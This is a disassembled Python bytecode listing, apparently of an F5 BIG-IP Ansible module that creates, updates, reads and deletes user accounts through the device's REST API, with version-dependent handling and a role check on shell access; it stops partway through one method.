MAKE_FUNCTION LOAD_FAST want GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL F5ModuleError LOAD_FAST err CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST r LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR LOAD_DEREF permit COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST r LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR LOAD_DEREF permit COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ModuleManager' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8e2f9ca660, file "f.py", line 416> LOAD_CONST 'ModuleManager.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object exec_module at 0x7f8e2f9ca8a0, file "f.py", line 421> LOAD_CONST 'ModuleManager.exec_module' MAKE_FUNCTION STORE_NAME exec_module LOAD_CONST <code object get_manager at 0x7f8e2f9cab70, file "f.py", line 430> LOAD_CONST 'ModuleManager.get_manager' MAKE_FUNCTION STORE_NAME get_manager LOAD_CONST <code object is_version_less_than_13 at 0x7f8e2fcbf4b0, file "f.py", line 438> LOAD_CONST 'ModuleManager.is_version_less_than_13' MAKE_FUNCTION STORE_NAME is_version_less_than_13 LOAD_CONST <code object is_root_username_credential at 0x7f8e2fcbf390, file "f.py", line 452> LOAD_CONST 'ModuleManager.is_root_username_credential' MAKE_FUNCTION STORE_NAME is_root_username_credential LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'module' LOAD_CONST None CALL_METHOD LOAD_FAST self STORE_ATTR module LOAD_GLOBAL F5RestClient BUILD_TUPLE LOAD_FAST self LOAD_ATTR module LOAD_ATTR params CALL_FUNCTION LOAD_FAST self STORE_ATTR client LOAD_FAST kwargs LOAD_FAST self STORE_ATTR kwargs LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD is_root_username_credential CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD get_manager LOAD_CONST 'root' CALL_METHOD STORE_FAST manager JUMP_FORWARD to 50 LOAD_FAST self LOAD_METHOD is_version_less_than_13 CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD get_manager LOAD_CONST 'v1' CALL_METHOD STORE_FAST manager JUMP_FORWARD to 50 LOAD_FAST self LOAD_METHOD get_manager LOAD_CONST 'v2' CALL_METHOD STORE_FAST manager LOAD_FAST manager LOAD_METHOD exec_module CALL_METHOD RETURN_VALUE LOAD_FAST type LOAD_CONST 'root' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL RootUserManager BUILD_TUPLE LOAD_FAST self LOAD_ATTR kwargs CALL_FUNCTION RETURN_VALUE LOAD_FAST type LOAD_CONST 'v1' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL UnpartitionedManager BUILD_TUPLE LOAD_FAST self LOAD_ATTR kwargs CALL_FUNCTION RETURN_VALUE LOAD_FAST type LOAD_CONST 'v2' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL PartitionedManager BUILD_TUPLE LOAD_FAST self LOAD_ATTR kwargs CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL tmos_version LOAD_FAST self LOAD_ATTR client CALL_FUNCTION STORE_FAST version LOAD_GLOBAL Version LOAD_FAST version CALL_FUNCTION LOAD_GLOBAL Version LOAD_CONST '13.0.0' CALL_FUNCTION COMPARE_OP < POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR module LOAD_ATTR params LOAD_METHOD get LOAD_CONST 'username_credential' LOAD_CONST None CALL_METHOD STORE_FAST user LOAD_FAST user LOAD_CONST 'root' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BaseManager' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8e2fcbfa50, file "f.py", line 460> LOAD_CONST 'BaseManager.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _announce_deprecations at 0x7f8e2fcbf420, file "f.py", line 467> LOAD_CONST 'BaseManager._announce_deprecations' MAKE_FUNCTION STORE_NAME _announce_deprecations LOAD_CONST <code object _set_changed_options at 0x7f8e2fcbf930, file "f.py", line 472> LOAD_CONST 'BaseManager._set_changed_options' MAKE_FUNCTION STORE_NAME _set_changed_options LOAD_CONST <code object _update_changed_options at 0x7f8e2fcbf660, file "f.py", line 480> LOAD_CONST 'BaseManager._update_changed_options' MAKE_FUNCTION STORE_NAME _update_changed_options LOAD_CONST <code object exec_module at 0x7f8e2fcbfae0, file "f.py", line 498> LOAD_CONST 'BaseManager.exec_module' MAKE_FUNCTION STORE_NAME exec_module LOAD_CONST <code object present at 0x7f8e2fcbf300, file "f.py", line 518> LOAD_CONST 'BaseManager.present' MAKE_FUNCTION STORE_NAME present LOAD_CONST <code object absent at 0x7f8e2fcbfc90, file "f.py", line 524> LOAD_CONST 'BaseManager.absent' MAKE_FUNCTION STORE_NAME absent LOAD_CONST <code object should_update at 0x7f8e2fcbf810, file "f.py", line 529> LOAD_CONST 'BaseManager.should_update' MAKE_FUNCTION STORE_NAME should_update LOAD_CONST <code object update at 0x7f8e2fcbff60, file "f.py", line 535> LOAD_CONST 'BaseManager.update' MAKE_FUNCTION STORE_NAME update LOAD_CONST <code object remove at 0x7f8e2fcbf5d0, file "f.py", line 544> LOAD_CONST 'BaseManager.remove' MAKE_FUNCTION STORE_NAME remove LOAD_CONST <code object create at 0x7f8e2fcbfc00, file "f.py", line 552> LOAD_CONST 'BaseManager.create' MAKE_FUNCTION STORE_NAME create LOAD_CONST <code object validate_shell_parameter at 0x7f8e2fcbf6f0, file "f.py", line 562> LOAD_CONST 'BaseManager.validate_shell_parameter' MAKE_FUNCTION STORE_NAME validate_shell_parameter LOAD_CONST <code object validate_create_parameters at 0x7f8e2fcbf540, file "f.py", line 582> LOAD_CONST 'BaseManager.validate_create_parameters' MAKE_FUNCTION STORE_NAME validate_create_parameters LOAD_CONST None RETURN_VALUE LOAD_FAST kwargs LOAD_METHOD get LOAD_CONST 'module' LOAD_CONST None CALL_METHOD LOAD_FAST self STORE_ATTR module LOAD_GLOBAL F5RestClient BUILD_TUPLE LOAD_FAST self LOAD_ATTR module LOAD_ATTR params CALL_FUNCTION LOAD_FAST self STORE_ATTR client LOAD_GLOBAL ModuleParameters LOAD_FAST self LOAD_ATTR module LOAD_ATTR params LOAD_CONST ('params',) CALL_FUNCTION LOAD_FAST self STORE_ATTR want LOAD_GLOBAL ApiParameters CALL_FUNCTION LOAD_FAST self STORE_ATTR have LOAD_GLOBAL UsableChanges CALL_FUNCTION LOAD_FAST self STORE_ATTR changes LOAD_CONST None RETURN_VALUE LOAD_FAST result LOAD_METHOD pop LOAD_CONST '__warnings' BUILD_LIST CALL_METHOD STORE_FAST warnings SETUP_LOOP to 50 LOAD_FAST warnings GET_ITER FOR_ITER to 48 STORE_FAST warning LOAD_FAST self LOAD_ATTR module LOAD_ATTR deprecate LOAD_FAST warning LOAD_CONST 'msg' BINARY_SUBSCR LOAD_FAST warning LOAD_CONST 'version' BINARY_SUBSCR LOAD_CONST ('msg', 'version') CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE BUILD_MAP STORE_FAST changed SETUP_LOOP to 52 LOAD_GLOBAL Parameters LOAD_ATTR returnables GET_ITER FOR_ITER to 50 STORE_FAST key LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR want LOAD_FAST key CALL_FUNCTION LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST self LOAD_ATTR want LOAD_FAST key CALL_FUNCTION LOAD_FAST changed LOAD_FAST key STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST changed POP_JUMP_IF_FALSE LOAD_GLOBAL UsableChanges LOAD_FAST changed LOAD_CONST ('params',) CALL_FUNCTION LOAD_FAST self STORE_ATTR changes LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Difference LOAD_FAST self LOAD_ATTR want LOAD_FAST self LOAD_ATTR have CALL_FUNCTION STORE_FAST diff LOAD_GLOBAL Parameters LOAD_ATTR updatables STORE_FAST updatables LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST changed SETUP_LOOP to 92 LOAD_FAST updatables GET_ITER FOR_ITER to 90 STORE_FAST k LOAD_FAST diff LOAD_METHOD compare LOAD_FAST k CALL_METHOD STORE_FAST change LOAD_FAST change LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE JUMP_ABSOLUTE JUMP_ABSOLUTE LOAD_GLOBAL isinstance LOAD_FAST change LOAD_GLOBAL dict CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST changed LOAD_METHOD update LOAD_FAST change CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST change LOAD_FAST changed LOAD_FAST k STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST changed POP_JUMP_IF_FALSE LOAD_GLOBAL UsableChanges LOAD_FAST changed LOAD_CONST ('params',) CALL_FUNCTION LOAD_FAST self STORE_ATTR changes LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_GLOBAL datetime LOAD_METHOD now CALL_METHOD LOAD_METHOD isoformat CALL_METHOD STORE_FAST start LOAD_GLOBAL tmos_version LOAD_FAST self LOAD_ATTR client CALL_FUNCTION STORE_FAST version LOAD_CONST False STORE_FAST changed LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST result LOAD_FAST self LOAD_ATTR want LOAD_ATTR state STORE_FAST state LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD present CALL_METHOD STORE_FAST changed JUMP_FORWARD to 74 LOAD_FAST state LOAD_CONST 'absent' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD absent CALL_METHOD STORE_FAST changed LOAD_GLOBAL ReportableChanges LOAD_FAST self LOAD_ATTR changes LOAD_METHOD to_return CALL_METHOD LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST reportable LOAD_FAST reportable LOAD_METHOD to_return CALL_METHOD STORE_FAST changes LOAD_FAST result LOAD_ATTR update BUILD_TUPLE LOAD_FAST changes CALL_FUNCTION POP_TOP LOAD_FAST result LOAD_METHOD update LOAD_GLOBAL dict LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _announce_deprecations LOAD_FAST result CALL_METHOD POP_TOP LOAD_GLOBAL send_teem LOAD_FAST start LOAD_FAST self LOAD_ATTR client LOAD_FAST self LOAD_ATTR module LOAD_FAST version CALL_FUNCTION POP_TOP LOAD_FAST result RETURN_VALUE LOAD_FAST self LOAD_METHOD exists CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD update CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD create CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD exists CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD remove CALL_METHOD RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_METHOD _update_changed_options CALL_METHOD STORE_FAST result LOAD_FAST result POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_METHOD read_current_from_device CALL_METHOD LOAD_FAST self STORE_ATTR have LOAD_FAST self LOAD_METHOD should_update CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST False RETURN_VALUE LOAD_FAST self LOAD_ATTR module LOAD_ATTR check_mode POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD update_on_device CALL_METHOD POP_TOP LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_ATTR module LOAD_ATTR check_mode POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD remove_from_device CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD exists CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_CONST 'Failed to delete the user.' CALL_FUNCTION RAISE_VARARGS LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD validate_create_parameters CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR want LOAD_ATTR shell LOAD_CONST 'bash' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD validate_shell_parameter CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _set_changed_options CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR module LOAD_ATTR check_mode POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD create_on_device CALL_METHOD POP_TOP LOAD_CONST True RETURN_VALUE LOAD_CONST "Shell access is only available to 'admin' or 'resource-admin' roles." STORE_FAST err LOAD_CONST 'admin' LOAD_CONST 'resource-admin' BUILD_LIST STORE_DEREF permit LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition_access LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition_access STORE_FAST want LOAD_GLOBAL any LOAD_CLOSURE permit BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8e2fcbfdb0, file "f.py", line 579> LOAD_CONST 'BaseManager.validate_shell_parameter.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST want GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL F5ModuleError LOAD_FAST err CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST r LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR LOAD_DEREF permit COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST r LOAD_CONST 'role' BINARY_SUBSCR YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition_access LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST "The 'partition_access' option is required when creating a resource." STORE_FAST err LOAD_GLOBAL F5ModuleError LOAD_FAST err CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UnpartitionedManager' STORE_NAME __qualname__ LOAD_CONST <code object exists at 0x7f8e2fcbf9c0, file "f.py", line 591> LOAD_CONST 'UnpartitionedManager.exists' MAKE_FUNCTION STORE_NAME exists LOAD_CONST <code object create_on_device at 0x7f8e2fcbf780, file "f.py", line 620> LOAD_CONST 'UnpartitionedManager.create_on_device' MAKE_FUNCTION STORE_NAME create_on_device LOAD_CONST <code object update_on_device at 0x7f8e2fcbf150, file "f.py", line 639> LOAD_CONST 'UnpartitionedManager.update_on_device' MAKE_FUNCTION STORE_NAME update_on_device LOAD_CONST <code object remove_from_device at 0x7f8e2fcbf030, file "f.py", line 658> LOAD_CONST 'UnpartitionedManager.remove_from_device' MAKE_FUNCTION STORE_NAME remove_from_device LOAD_CONST <code object read_current_from_device at 0x7f8e2fcbf1e0, file "f.py", line 669> LOAD_CONST 'UnpartitionedManager.read_current_from_device' MAKE_FUNCTION STORE_NAME read_current_from_device LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_METHOD get LOAD_FAST uri CALL_METHOD STORE_FAST resp SETUP_EXCEPT to 62 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 108 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 94 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 108 END_FINALLY LOAD_FAST resp LOAD_ATTR status LOAD_CONST 404 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST 404 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_FAST resp LOAD_ATTR status LOAD_CONST (200, 201) COMPARE_OP in POP_JUMP_IF_TRUE LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (200, 201) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST 401 LOAD_CONST 403 LOAD_CONST 409 LOAD_CONST 500 LOAD_CONST 501 LOAD_CONST 502 LOAD_CONST 503 LOAD_CONST 504 BUILD_LIST STORE_FAST errors LOAD_FAST resp LOAD_ATTR status LOAD_FAST errors COMPARE_OP in POP_JUMP_IF_TRUE LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_FAST errors COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 262 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR changes LOAD_METHOD api_params CALL_METHOD STORE_FAST params LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential LOAD_FAST params LOAD_CONST 'name' STORE_SUBSCR LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR post LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 82 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 128 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 114 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 128 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 403) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 180 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_FAST response LOAD_CONST 'selfLink' BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_ATTR changes LOAD_METHOD api_params CALL_METHOD STORE_FAST params LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR patch LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 76 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 122 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 108 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 122 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST 400 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 174 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_METHOD delete LOAD_FAST uri CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_ATTR status LOAD_CONST 200 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_METHOD get LOAD_FAST uri CALL_METHOD STORE_FAST resp SETUP_EXCEPT to 62 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 108 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 94 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 108 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST 400 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 160 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL ApiParameters LOAD_FAST response LOAD_CONST ('params',) CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'PartitionedManager' STORE_NAME __qualname__ LOAD_CONST <code object exists at 0x7f8e4475c660, file "f.py", line 690> LOAD_CONST 'PartitionedManager.exists' MAKE_FUNCTION STORE_NAME exists LOAD_CONST <code object create_on_device at 0x7f8e4475c6f0, file "f.py", line 706> LOAD_CONST 'PartitionedManager.create_on_device' MAKE_FUNCTION STORE_NAME create_on_device LOAD_CONST <code object read_current_from_device at 0x7f8e4475cc90, file "f.py", line 725> LOAD_CONST 'PartitionedManager.read_current_from_device' MAKE_FUNCTION STORE_NAME read_current_from_device LOAD_CONST <code object update_on_device at 0x7f8e4475cc00, file "f.py", line 738> LOAD_CONST 'PartitionedManager.update_on_device' MAKE_FUNCTION STORE_NAME update_on_device LOAD_CONST <code object remove_from_device at 0x7f8e4475cae0, file "f.py", line 758> LOAD_CONST 'PartitionedManager.remove_from_device' MAKE_FUNCTION STORE_NAME remove_from_device LOAD_CONST <code object list_users_on_device at 0x7f8e4475c930, file "f.py", line 769> LOAD_CONST 'PartitionedManager.list_users_on_device' MAKE_FUNCTION STORE_NAME list_users_on_device LOAD_CONST None RETURN_VALUE LOAD_DEREF self LOAD_METHOD list_users_on_device CALL_METHOD STORE_FAST response LOAD_CONST 'items' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8e4475c810, file "f.py", line 694> LOAD_CONST 'PartitionedManager.exists.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST response LOAD_CONST 'items' BINARY_SUBSCR GET_ITER CALL_FUNCTION STORE_FAST collection LOAD_GLOBAL len LOAD_FAST collection CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_GLOBAL len LOAD_FAST collection CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_GLOBAL F5ModuleError LOAD_CONST 'Multiple users with the provided name were found!' CALL_FUNCTION RAISE_VARARGS LOAD_CONST False RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST x LOAD_FAST x LOAD_CONST 'name' BINARY_SUBSCR LOAD_DEREF self LOAD_ATTR want LOAD_ATTR username_credential COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST x LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR changes LOAD_METHOD api_params CALL_METHOD STORE_FAST params LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential LOAD_FAST params LOAD_CONST 'name' STORE_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition LOAD_FAST params LOAD_CONST 'partition' STORE_SUBSCR LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR post LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 94 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 140 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 126 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST 